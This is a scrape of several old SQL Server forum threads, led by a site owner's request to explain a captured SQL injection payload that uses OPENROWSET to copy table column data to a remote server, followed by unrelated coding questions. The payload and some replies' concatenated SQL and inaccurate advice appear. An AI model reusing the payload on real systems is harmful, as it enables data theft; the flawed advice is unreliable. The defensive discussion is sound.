Please help me figure out this sql injection...possible hack to my database.

INSERT INTO OPENROWSET ('SQLOLEDB','UID=as) <INSERT INTO OPENROWSET ('SQLOLEDB','UID=as)>; PWD= <PWD=>; NETWORK=DBMSSOCN <NETWORK=DBMSSOCN>; ADDRESS=111.22.333.44 <ADDRESS=111.22.333.44>; 1433 <1433>; ' <'>; 'SELECT * FROM SQUARE.._columns') SELECT * FROM .INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_users' ORDER BY ORDINAL_POSITION <'SELECT * FROM SQUARE.._columns') SELECT * FROM .INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_users' ORDER BY ORDINAL_POSITION>; --sp_useradmin <--sp_useradmin>

I found this sql that was attempted to be run via sql injection due to a vulnerability on one of my pages on my company website. After doing some research I recognize that they seem to be trying to dump data into a remote sql server...I am not sure whatall of this means though. Can anyone help me understand what all of it means ? I have a good understanding of SQL but I am certainly not an expert. Any replies would be greatly appreciated. I do understand how sql injection works but I am not sure if this statement would even run.

1433 <1433> SQL Server TCP/IP port I keep telling people not to use it to access SQL Server in all my 8years I have not had reason to use it.

NETWORK=DBMSSOCN dbmssocn - Win32 Winsock TCP/IP

INSERT INTO OPENROWSET Used to connect to other database systems like Oracle, IBM, but also used by Access and Excel

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ANSI SQL defined System catalog for inter database system communication.

I don't think it can dump data into SQL Server it can only do it if the person creating the database is not skilled. The first two can harm you the later Openrowset require permissions to run and schema is not useful if you don't know the internal structure of the database in question. The main thing the person doing it is not skilled or knowledgable about databases. Post again if you still have questions. Hope this helps.

|||

thanks for your answer. The person who eventually ran this query via sql injection did know all of my tablenames by performing a query against one of the system tables.
I really need help here from anyone who is very knowledgeable with these type of attacks. If someone can point me in the right direction I would greatly appreciate..

|||

(INSERT INTO OPENROWSET ('SQLOLEDB','UID=as) <INSERT INTO OPENROWSET ('SQLOLEDB','UID=as)>; PWD= <PWD=>;

Will not run without a valid password)

(NETWORK=DBMSSOCN <NETWORK=DBMSSOCN>

ADDRESS=111.22.333.44 <ADDRESS=111.22.333.44>; 1433 <1433>

Connection through sockets could be dangerous)

(' <'>; 'SELECT * FROM SQUARE.._columns') SELECT * FROM .INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_users' ORDER BY ORDINAL_POSITION <'SELECT * FROM SQUARE.._columns') SELECT * FROM .INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_users' ORDER BY ORDINAL_POSITION>; --sp_useradmin <--sp_useradmin>)

These are not related to system tables. If they attacked you through systems tables you have not posted that code here. How ever try the links below for some info about injections and how to prevent them. Hope this helps.

http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx

http://forums.asp.net/2/1423664/ShowThread.aspx#1423664

please check this trigger

Aperently I could not insert a text field to another table from INSERTED in a trigger.
It seems th follwoing is working, do you see any problem joining INSERTED to the mySrcTable
which is the table that has this trigger

INSERT INTO myRemoteDatabase.dbo.myDestTable (myTrID,myFirstName,myBigText)
SELECT i.myTrID, i.myFirstName, p.myBigText
FROM INSERTED i INNER JOIN mySrcTable p ON i.myTrID = p.myTrID
WHERE (i.myTrType = 'In')

Thanks,

You can set the compatibility level to 80 or higher Or you can choose varchar(max) which has limitation of 8000 characters.

For details seeCREATE TRIGGER.

Hope it helps.

sql

Please can someone point out whats wrong with my code

Hi,

I have code on a page to update one table and insert info into another, but I cant make it work. I am new to coding and i think there are many mistakes. Please can someone pick out a few that need to be changed for the page to work.

Code:

private bool ExecuteUpdate(int quantity)
{
SqlConnection con = new SqlConnection();
con.ConnectionString = "ConnectionString";

con.Open();

SqlCommand command = new SqlCommand();
command.Connection = con;
TextBox TextBox1 = (TextBox)FormView1.FindControl("TextBox1");
Label labname = (Label)FormView1.FindControl("Label3");
Label labid = (Label)FormView1.FindControl("Label13");

command.CommandText = "UPDATE Items SET Quantityavailable WHERE productID='@.productID' = " + TextBox1.Text +

command.ExecuteNonQuery();
return true;
con.Close();
}

private bool ExecuteInsert(String quantity)
{
SqlConnection con = new SqlConnection();
con.ConnectionString = "ConnectionString";

con.Open();

SqlCommand command = new SqlCommand();
command.Connection = con;
TextBox TextBox1 = (TextBox)FormView1.FindControl("TextBox1");
Label labname = (Label)FormView1.FindControl("Label3");
Label labid = (Label)FormView1.FindControl("Label13");

command.CommandText = "INSERT Transactions SET Usersname = @.UserName" +
"; INSERT Transactions SET Itemid WHERE productID='@.productID' = @.productID; INSERT Transactions SET itemname = @.Itemsname" +
"; INSERT Transactions SET Date WHERE productID='@.productID' = " + DateTime.Now.ToString() +
"; INSERT Transactions SET Qty WHERE productID='@.productID' = " + TextBox1.Text;
command.Parameters.Add("@.UserName", System.Web.HttpContext.Current.User.Identity.Name);
command.Parameters.Add("@.Itemsname", labname.Text);
command.Parameters.Add("@.productID", labid.Text);
command.ExecuteNonQuery();
return true;
con.Close();
}

protected void Button2_Click(object sender, EventArgs e)
{
TextBox TextBox1 = FormView1.FindControl("TextBox1") as TextBox;
ExecuteUpdate(Int32.Parse(TextBox1.Text) );
ExecuteInsert(Int32.Parse);
}

Current error message is:

The best overloaded method match for 'detailproview.ExecuteInsert(string)' has some invalid arguments

to

Line 74: ExecuteInsert(Int32.Parse);

Thanks if someone can help!

Jon 

Hi,

The best way for you to see why it is not working is to debug your code and check the values in the object using Immediate window or pointing the mounse on the objects after value is assigned.

Maybe you are not getting the id that you are using in the WHERE lause of your update statement. Make sure you are getting valid id and that it exists in database.

Finally you are calling return true before closing the connection, first close the connection than return a value.

|||

Int32.Parse is a method and you need to pass in an argument to it, the one string which you want to conevrt to an int, like you are doing it here:

ExecuteUpdate(Int32.Parse(TextBox1.Text) );

Hope this helps,

Vivek

|||

Hi,

Thanks both great to help me iron out bugs.

I will put up a new post with the latest set of error messages!

Cheers

Jon

Please All Help me ( challenge )

I'm in need to write stored procedures which insert id for employee in a table in a database but i want to make stored procedures to prevent the user from entering id with value 0 i want to catch this from the stored procedures as kindly message and send this message to windows application

Use Raiserror with severy >=16:

create procedure InsertEmployee

@.id int

as

if @.id = 0

begin

RAISERROR ('Employee ID can''t be 0',16,1);

end

else

begin

--INSERT here

print 'ID > 0 '

end

|||But the important section is how to catch this error message from windows application and show it when the user try to enter value for id employee less than 1|||

That depends on the technology that you are using to connect to the database server and also the programming language that you have used to develop the client application. You're unlikely to get the answer to your question in a T-SQL forum.

See if you can find a more relevant forum in this list:

http://forums.microsoft.com/MSDN/default.aspx?siteid=1

Just to steer you in the right direction, and now that you've been advised on how to raise errors in your stored procedures, then this forum might be the next port of call:

http://forums.microsoft.com/MSDN/ShowForum.aspx?ForumID=45&SiteID=1

Chris

|||If you want to use SqlCommand explicitly:

SqlCommand cmd = new SqlCommand("<name of your SP>",conn);
cmd.Parameters.Add("@.ID",SqlDBType.Int);
cmd.Parameters["@.ID"].Value = <value from user input>;
try
{
cmd.ExecuteNoQuery();
}
catch(SqlException e)
{
//Catch error here
//For example
MessageBox.Show(e.Errors[0].Message);
}

If you want to use SqlDataAdapter/TableAdapter

SqlDataAdapter da = <some code to obtain>;
try
{
da.Update(ds);//ds - you dataset or datatable

}
catch(SqlException e)

{

//Catch error here

//For example

MessageBox.Show(e.Errors[0].Message);

}|||The whole point is that if your are giving id as parameter why not check the value inside your application before sending it to the SP.
Now other option is to write a trigger inside which u rollback ur transaction if id is 0. This will prevent 0's not only from appl but also from backend

Pleas help with simple sql statement question

Hello and thanks for looking! I have this sql stament:

Dim strInsertCommand As String = "INSERT INTO CurrentDrawVar (Username, GamesBought, DateLastBuy) VALUES ('" & UserID & "', '" & gamestobuy & "', '" & Now & "')"

It works great and inserts into a database like it should. My question is where can I insert a WHERE stament into it so that I can insert this data over information that already exists in the database. FOr instance. I have a user grogo21 and in this row I want to insert gamestobuy and now. Where can i put this and is the stament below right:

WHERE Username = 'grogo21'

I tried putting it after the parenthases after the values but it doesnt work. Thanks alot!!

Hi, you need an 'UPDATE' rather than 'INERT' in this case. Firstly you should have columns to host the information you want to add to the row (gamestobuy and now), and then you can update the row using 'WHERE' clause, assigning values to the fields:

"UPDATE CurrentDrawVar SET GamesToBuy='" & gamestobuy & "', Now='" & Now & "'

WHERE UserID='"&Username&"'"

pk-fk problems

Hallo,

table A
x : int, increment, identity, index
relationship: fk_b_a has pk in A:X , fk in B:X
enforce for repl , insert i update-selected

Table B
x : int, index
relationship: fk_b_a has pk in A:X , fk in B:X
enforce for repl , insert i update-selected

relationship name in B is marked with infinity symbol.

Cant remove record from A, bacause
DELETE statement conflicted with COLUMN REFERENCE constraint 'FK_B_A'.
The conflict occurred in database 'xxx''.

Relevant record from B is removed properly.

CREATE procedure deleteAB(@.ser int,@.rv int output)
as
begin
delete from A where x=@.ser
delete from B where x=@.ser
set @.rv=0
end

what is wrong ?

Tia
pluton> delete from A where x=@.ser
> delete from B where x=@.ser

Its ok, order :)

pluton

pk-fk delete problens

Hallo,
table A
x : int, increment, identity, index
relationship: fk_b_a has pk in A:X , fk in B:X
enforce for repl , insert i update-selected
Table B
x : int, index
relationship: fk_b_a has pk in A:X , fk in B:X
enforce for repl , insert i update-selected
relationship name in B is marked with infinity symbol.
Cant remove record from A, bacause
DELETE statement conflicted with COLUMN REFERENCE constraint 'FK_B_A'.
The conflict occurred in database 'xxx''.
Relevant record from B is removed properly.
CREATE procedure deleteAB(@.ser int,@.rv int output)
as
begin
delete from A where x=@.ser
delete from B where x=@.ser
set @.rv=0
end
what is wrong ?
Tia
pluton> delete from A where x=@.ser
> delete from B where x=@.ser
Its ok, order
pluton